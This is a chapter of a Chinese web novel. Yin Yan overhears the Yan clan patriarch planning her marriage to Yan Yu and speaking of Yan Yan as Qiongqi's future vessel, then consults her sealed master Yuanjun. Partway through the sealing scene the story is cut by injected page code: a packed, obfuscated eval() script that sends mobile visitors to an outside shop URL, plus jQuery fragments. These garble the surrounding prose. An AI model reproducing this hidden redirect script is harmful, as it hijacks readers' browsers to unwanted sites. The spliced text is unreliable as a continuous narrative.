殷言屏住呼吸,悄悄退回房间。
噼里啪啦地打下一大段话,说明楼下的情况和疑问,然后发给颜晏。
她承认语气是有点冲,夹在了一点点质问的情绪在里面。
自己虽然住在颜家,但不代表可以被随意安排,而是应该被尊重的客人。
颜晏回复得很快:“请稍等,我马上去了解一下情况。”
他好像不知道这件事。
五分钟后,颜晏打来电话。
“抱歉,看来晚上会有一场饭局。”颜晏歉意道,“长辈们不知从哪里得到了消息,知道你今晚会来。”
这意味着不是他或颜宇打的小报告,而且颜家长辈们没有退让的打算。
殷言和其他人三人在二楼汇合,被迫下楼参加了一场应酬。
虽说颜家来了十来个长辈,但他们都非常圆滑,只是默默地观察殷言,没有问一个让她尴尬的问题,对师父的情况也没有任何试探。
再加上有郭晓师姐在场,客气话和场面话全都不用殷言费心,让她轻松了不少。
殷言甚至一度觉得自己是不是想得太复杂了。
不过她敏锐地发现了一丝端疑。
其他颜家长老互相聊天时会偶尔问一句“殷道友怎么看”,俨然一副老小孩吵架让她当裁判的架势。她倒不反感,也不特意遮掩什么,会委婉地说一说自己的想法。
但颜家族长不同,他几乎时刻注意着殷言,多次有意地请她加入话题。
最有趣的是,和族长聊得分外高兴的不是身为长子和继承人的颜晏,而是快乐小狗颜宇。
颜长钧总是有意无意地向她展示“我们颜宇不错哦”。
殷言只当看不懂。
颜家在这个小区里不止一套别墅,晚饭后长老们被安排去休息,殷言他们也解放了。
颜长钧多次嘱咐颜宇明天一定亲自将殷言送回学校,然后笑呵呵地离开了,期间没同颜晏说过几句话。
经过这场意料之外的饭局,大家也都没有了玩乐的心思,各自回房间休息。
下午睡得时间太长了,加之十几岁的身体充满无限能量,晚上殷言根本睡不着。
这年头手机也没那么好看。
殷言索性起床换好衣服,下楼遛弯。
外面不知何时飘起了雪花,冬夜寒凉,但空气好得惊人。
黑夜仿佛吸纳了世间的嘈杂,静得听得到落雪的声音。
殷言原本只想下楼来消耗一下,累了冷了回去能倒头就睡,可贪恋着清新的空气,她在小区里绕起了圈。
作为黄金地段的别墅区,入住率非常高,即使熄了灯,也能看到温暖的生活痕迹。
她不知不觉绕到了小区的另一边,偶尔听到了一个熟悉的声音。
“……意料之外,听说两位少爷几乎没有动手。元君的弟子不简单呐。”这是晚餐时坐在颜长钧身侧的一位长老。
殷言听到自己被点名,停下了脚步。
“本以为她才入门不久,遇到这种问题会六神无主。说起来,直到现在也没人知道元君为什么要收这个弟子。先不管背景,她长得漂亮,言谈过关,单看这个人倒算符合要求。”颜长钧说。
“宇少爷的态度呢?”
颜长钧的语气里有了笑意,“臭小子乐意得不得了。”
对方小心地问:“晏少爷呢?”
颜长钧沉默片刻,“他不知道这件事,一旦说定倒也不急。这也是没办法的事,他早晚要成为穷奇的载体。穷奇快要等不了了……唉,以后阿宇不要了,倒也不能不能轮到他。”
对方不敢再说话,低声陪着笑。
殷言小心翼翼地后退,离开这栋别墅附近后,快步走回自己的房间。
她好像听到了了不得的对话。
但她只听懂了一小半。
看来颜长钧是想让她和颜宇联姻,颜长钧选中她的唯一原因在于她师父元君,可他为什么又说“先不管背景”。
后面提到颜晏,什么“穷奇的载体”、穷奇等不及了、再轮到他,她就完全不明白了。
难道最后是说颜宇得到她又不喜欢她之后,她会被交给颜晏?
这个老东西的发言不能这么逆天吧?当她是泥捏的吗,这会儿又不记得元君是她师父了?
哦——一个惊骇的想法划过她的脑海!
也许他们认为未来元君不再有如此强劲的影响力?
还是他们已经看穿了现在的元君不能直接干涉事务?
颜家的叛徒味越来越浓了。
她才踏入灵修界几个月而已,就发现举足轻重的世家颜家是叛徒。
那梵仙山呢?
萧别寒、云鹤、桃若、郭晓这些人,还可以信任吗?
不知道,反倒是颜晏肯定和颜长钧应该不是一条船上的。
说起来,这段对话有没有可能是颜长钧故意让她听到的?
不,手镯没震动。如果对方心怀恶意欺骗她,手镯会提醒她。
她上网查了查穷奇,除了得知它上古四凶兽之一,没有更多线索。
意料之中,网络上都是普世的、传说中的穷奇形象,要是联系现实中的灵修界,还是得问圈里人。
要不要问颜晏?
可万一他心里想的是:太好了,我要成为穷奇行走世间,我要获得强大的力量,桀桀桀桀。
那她去问岂不是送人头的行为。
殷言思索再三,决定给师父发去消息。
师父是通过系统绑定的,是肯定不会背叛自己,利益完全一致的一方。
虽然萧别寒让她只能紧要关头才能发信息,但她现在对萧别寒都存疑,暂时顾不上其他的了。
殷言斟字酌句,把有关穷奇的问题发送了过去。
至于颜家想联姻这件事,到不了师父那,她自己就能决定,不用打扰他老人家了。
做完这一切,困意真切袭来。
这次,殷言倒头就睡。
*
深海之中,某处石山内腔有一块没有海水的陆地。
地面之上有一处堆叠着碎石的覆盆型、状似地堡的封闭空间。
那些土块碎石皆是强大的封印,层层叠叠,蕴含着上万名邪修的不同灵力。
因此,强大如元君也只能被困在此处。
数十年过去,他的衣衫早已霉烂。
没有阳光、没有空气、没有水和食物。
他完全凭借自身的灵气强撑着自己的生命。
即使不知道还要被封印多少年,他依旧顽强地活着。
直到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126966|196122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十年前,梵仙山的长老萧别寒通过自己特有的异术,用意念穿过封印,将他的意识模拟成电信号,通过手机来连接,他才得以和外界重获联系。
但每次的信息传递对他而言都极为痛苦。
封印察觉到他灵力外泄,无所不用其极地压缩空间、改变温度和重力,惩罚他想要逃脱的试探。
这一次小徒弟殷言发来消息。
“师父,我无意中听到颜家族长提到穷奇,说长子将成为穷奇载体,穷奇等不及了。是否与煞有关,需要提防什么?”
短短数十字,却如同万箭穿心,成为攻击他的利刃。
黑暗中,李青元睁开漆黑明亮的眼睛。
从殷言前次发消息来看,她语言凝练,没有一句废话,萧别寒肯定告诉过她非必要不联系他,这次她发来信息,一定是觉得情况危急。
确实,颜家很有可能背叛灵修界。
她或许觉得萧别寒夜不可信任了。
“别怕,暂时可以相信萧别寒。”他回复小徒弟。
*
殷言看到师父的回复时,已经是转天周日的早晨。
因为是在陌生的地方休息,她心中始终提着一根弦,没有一觉睡到日上中天。
既然得到了师父的允许,她把同样的内容复制过去,发给萧别寒。许久没有得到回复,她也不再等待。
反正她该做的都做了,如果这件事情实在危险又复杂,大不了叛出师门,回归普通的生活。
她觉得自己有点理解了沙僧的心态,动不动就想分行李。
因为还有作业要写,殷言一早提出要回宿舍,并向郭晓师姐歉意道:“你好不容易来一趟帝河市,都没怎么带你逛逛。”
郭晓哈哈一笑:“客气什么。我师父负责邻近的好几个市,地河市我可是总来。”
颜家兄弟秉承昨晚长辈的嘱咐,再三挽留,他们又看了一场电影,中午才出发。
管家叫来了司机,将他们送到各自的目的地。
先送颜晏,他们目送殷言走进校门,才去火车站郭晓和颜家兄弟都要去苍济市。
临下车前,殷言深深地望向言言,最后什么都没说,感谢了他们的款待。
到了周一,一班的同学照常回来上课,精神状态超级很饱满。
被煞附身的那段时间,他们失去了对身体的控制,精神上相当于徘徊在虚无之中,对于普通人而言可能会无聊得发疯,但对于一直处于紧绷状态的学生们来说,无异于得到了超长时间的放松。
加之周六上午全班集体玩乐了一下,有了许多只有他们彼此才懂的梗,足够他们回味好几天。
老师惊诧于他们的变化,却没人知道这个周末都发生了什么。
殷言觉得自己多少算是个无名侠士。
这周有元旦假期,眨眼间又是一年,她们宿舍四个人以庆祝新年为由,又出去吃了一顿好的,还一起看了场电影。
如方蕊希之前所说,新年伊始,桑雪给自己买了一部新手机,还拿出三枚既像苹果又像梨的水果分送给她们吃,说是从老家寄来的。
殷言不记得上一次是否发生了同样的事,但这次水果一入手,她久感觉到了里面盘旋着的灵气。
这不是普通水果,不可能是桑雪老家寄来的。